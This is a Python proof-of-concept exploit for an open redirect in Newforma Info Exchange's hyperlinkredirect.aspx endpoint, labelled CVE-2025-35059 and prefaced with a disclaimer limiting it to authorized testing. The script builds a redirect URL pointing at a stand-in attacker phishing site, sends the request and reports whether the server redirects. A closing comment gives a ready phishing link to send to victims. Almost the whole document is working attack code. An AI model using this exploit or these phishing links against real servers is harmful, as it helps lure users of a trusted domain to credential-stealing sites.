The following code is for security research and authorized testing only.
python
# CVE-2025-35059 - Newforma Info Exchange (NIX) Open Redirect PoC
# The vulnerability exists in /DownloadWeb/hyperlinkredirect.aspx via the 'nhl' parameter
# This endpoint performs an unauthenticated URL redirect without proper validation
import requests
# Target NIX server (replace with actual victim server)
target_url = "https://victim-nix-server.example.com"
# Malicious destination URL controlled by attacker
malicious_redirect = "https://attacker-controlled-malicious-site.com/phishing"
# Construct the exploit URL - the 'nhl' parameter accepts arbitrary URLs without validation
exploit_url = f"{target_url}/DownloadWeb/hyperlinkredirect.aspx?nhl={malicious_redirect}"
print(f"[*] Crafted Open Redirect URL:")
print(f" {exploit_url}")
print()
# Send the request (allow_redirects=False to observe the 302 redirect response)
response = requests.get(exploit_url, allow_redirects=False, verify=False)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Location Header (Redirect Target): {response.headers.get('Location', 'N/A')}")
print()
if response.status_code in (301, 302, 303, 307, 308):
location = response.headers.get('Location', '')
if malicious_redirect in location:
print("[+] Vulnerability confirmed! The server redirects to an arbitrary external URL.")
print(f"[+] User would be redirected to: {location}")
else:
print("[-] Redirect target does not match the injected URL.")
else:
print("[-] No redirect response received.")
# Example crafted phishing URL that can be sent to victims:
# https://victim-nix-server.example.com/DownloadWeb/hyperlinkredirect.aspx?nhl=https://attacker.com/fake-login
# Since the domain appears to be the trusted NIX server, victims are more likely to click it.